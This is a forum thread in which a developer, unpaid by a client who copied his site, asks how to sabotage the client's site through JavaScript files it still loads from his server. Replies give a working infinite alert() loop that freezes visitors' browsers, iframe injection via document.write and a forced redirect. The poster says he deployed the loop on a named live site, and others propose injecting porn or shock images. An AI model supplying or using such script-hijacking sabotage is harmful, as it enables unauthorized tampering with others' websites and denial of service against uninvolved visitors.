1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Client stole my web work, how to insert iFrame through JS?

Discussion in 'HTML & JavaScript' started by xziler8r, Oct 30, 2009.

  1. xziler8r

    xziler8r Regular Member

    Joined:
    Apr 27, 2009
    Messages:
    202
    Likes Received:
    232
    Occupation:
    IM
    Location:
    On Earth
    I did some work for a client and they had owned me money. I came to find out the other day that they stole my entire code and put the website on a new domain and they already told me they intend not to pay at all. They're out of state and the amount isn't enough for me to go through any legal processes.

    Since they stole me code, line for line, they're still calling a lot of js files on my server. I'm wanting to see if I can, somehow, inject a hidden iframe through one of my javascript files to load a big white block of space on their website. There is no <iframe> tag on the original source code, just divs'

    Any suggestions on what I can do through JS to mess up their site?
     
  2. leprakhauns

    leprakhauns Registered Member

    Joined:
    Sep 8, 2009
    Messages:
    84
    Likes Received:
    15
    Occupation:
    PHP Programmer
    Location:
    New York
    Home Page:
    Delete everything out of your javascript files on your server and just do

    Code:
    var x=0;
    while(x==0)
    {
      alert("STOP STEALING MY CODE");
    }
    It will make a nonstop popup of STOP STEALING MY CODE go on until they can either close the browser, or the browser crashes. If they stop calling your javascript functions though it won't work.
     
    • Thanks Thanks x 3
  3. xziler8r

    xziler8r Regular Member

    Joined:
    Apr 27, 2009
    Messages:
    202
    Likes Received:
    232
    Occupation:
    IM
    Location:
    On Earth
    Yeah, at least in the meantime it'll piss em off and hopefully they won't know how to delete the lines calling my js, thanks a lot leprakhauns
     
  4. im n0t lurer

    im n0t lurer Regular Member

    Joined:
    Jun 29, 2009
    Messages:
    229
    Likes Received:
    54
    EVIL :D, but i like it :)

     
    • Thanks Thanks x 1
  5. xziler8r

    xziler8r Regular Member

    Joined:
    Apr 27, 2009
    Messages:
    202
    Likes Received:
    232
    Occupation:
    IM
    Location:
    On Earth
    You can see it live at http://artpartnersgallery.com/ I was contracted by youneedasite.com and mckinleymediagroup.com (same person) to redesign her website (which is another domain) and he wanted me to be his puppet and make non-stop changes w/o payment. When I told him I needed extra funds he stole my code, put up this new domain for the client and didnt pay me what he had owned me up to that point.
     
  6. im n0t lurer

    im n0t lurer Regular Member

    Joined:
    Jun 29, 2009
    Messages:
    229
    Likes Received:
    54
    wow haha what he gonna do now :D,

    edit; i had to do that too kayzne.
     
    Last edited: Oct 30, 2009
  7. kayzne

    kayzne Jr. VIP Jr. VIP Premium Member

    Joined:
    Dec 26, 2007
    Messages:
    707
    Likes Received:
    1,954
    Location:
    localhost
    Crap, i had to alt control delete my browser! haha
     
    • Thanks Thanks x 1
  8. leprakhauns

    leprakhauns Registered Member

    Joined:
    Sep 8, 2009
    Messages:
    84
    Likes Received:
    15
    Occupation:
    PHP Programmer
    Location:
    New York
    Home Page:
    Looks great man, let us know when they contact you, or fix it.
     
  9. Longover

    Longover Power Member

    Joined:
    Jun 9, 2008
    Messages:
    658
    Likes Received:
    347
    You should iframe some type of offer on their site... Colon clense or something funny.
     
  10. xziler8r

    xziler8r Regular Member

    Joined:
    Apr 27, 2009
    Messages:
    202
    Likes Received:
    232
    Occupation:
    IM
    Location:
    On Earth
    Longover - I would if I had someone give me the code to plug it in :)
     
  11. magicfn1

    magicfn1 Registered Member

    Joined:
    Jun 19, 2009
    Messages:
    64
    Likes Received:
    23
    Try looking into document.write and putting an iframe code in there with a style="z-index:100"; that should place it on top of everything idk if that will work tho
     
  12. xziler8r

    xziler8r Regular Member

    Joined:
    Apr 27, 2009
    Messages:
    202
    Likes Received:
    232
    Occupation:
    IM
    Location:
    On Earth
    I tried this but it didnt work probably cause it needs the <iframe> tag in the code
    Code:
       <script type="text/javascript">
        <!--
            function populateIframe() {
                var ifrm = document.getElementById('page');
                ifrm = (ifrm.contentWindow) ? ifrm.contentWindow : (ifrm.contentDocument.document) ? ifrm.contentDocument.document : ifrm.contentDocument;
                ifrm.document.open();
                ifrm.document.write('Hello World!');
                ifrm.document.close();
            }
        //-->
        </script>
    
     
  13. truepals_forever

    truepals_forever Senior Member

    Joined:
    May 5, 2009
    Messages:
    1,161
    Likes Received:
    1,676
    Gender:
    Male
    Occupation:
    www.TheAccountStore.com
    Location:
    www.TheAccountStore.com
    I had to CTRL+DEL+ALT my browser. Wasted my 5 minutes. I suggest you to mention a warning near the url or remove the link completely from this thread.

    I <3 your idea though..
     
    Last edited: Oct 30, 2009
  14. gragster

    gragster Regular Member

    Joined:
    May 24, 2008
    Messages:
    231
    Likes Received:
    38
    make the popup tell the user this is a scam site and insert some gay porn ads if you can
     
  15. DrJekyll

    DrJekyll Senior Member Premium Member

    Joined:
    Aug 2, 2007
    Messages:
    831
    Likes Received:
    697
    Location:
    1-9 for your Keyword goodluck
    I read the whole thread first, so knew what was coming. used IE, so I could alt control delete it.

    finally a use for IE lol
     
    • Thanks Thanks x 2
  16. leprakhauns

    leprakhauns Registered Member

    Joined:
    Sep 8, 2009
    Messages:
    84
    Likes Received:
    15
    Occupation:
    PHP Programmer
    Location:
    New York
    Home Page:
    You could aldo redirect to your site if you wish,

    Code:
    document.location.href="url";
    I think that will work.
     
    • Thanks Thanks x 1
  17. antsaoo

    antsaoo Supreme Member

    Joined:
    Oct 1, 2008
    Messages:
    1,291
    Likes Received:
    637

    Yep :p did same , better be safe than sorry,

    Put there some gay porn pic on front page :D must be hell of panic for them when they find out it :D
     
  18. magpie2419

    magpie2419 Regular Member

    Joined:
    Mar 27, 2009
    Messages:
    313
    Likes Received:
    343
    Occupation:
    Millionaire
    Location:
    Newcastle UK Or Morocco
    Calling Tub Girl.jpg would be more fun. I f you have no idea what tub girl is Google is your friend and you will know when you find it :::: Hint ::: turn off safe search
     
  19. leprakhauns

    leprakhauns Registered Member

    Joined:
    Sep 8, 2009
    Messages:
    84
    Likes Received:
    15
    Occupation:
    PHP Programmer
    Location:
    New York
    Home Page:
    yes, but the popup will disable everything from their site from being seen.
     
  20. DrJekyll

    DrJekyll Senior Member Premium Member

    Joined:
    Aug 2, 2007
    Messages:
    831
    Likes Received:
    697
    Location:
    1-9 for your Keyword goodluck
    should put some more in the message, saying anyone helping to change the site so he can avoid payment will be treated as an accessory to the theft.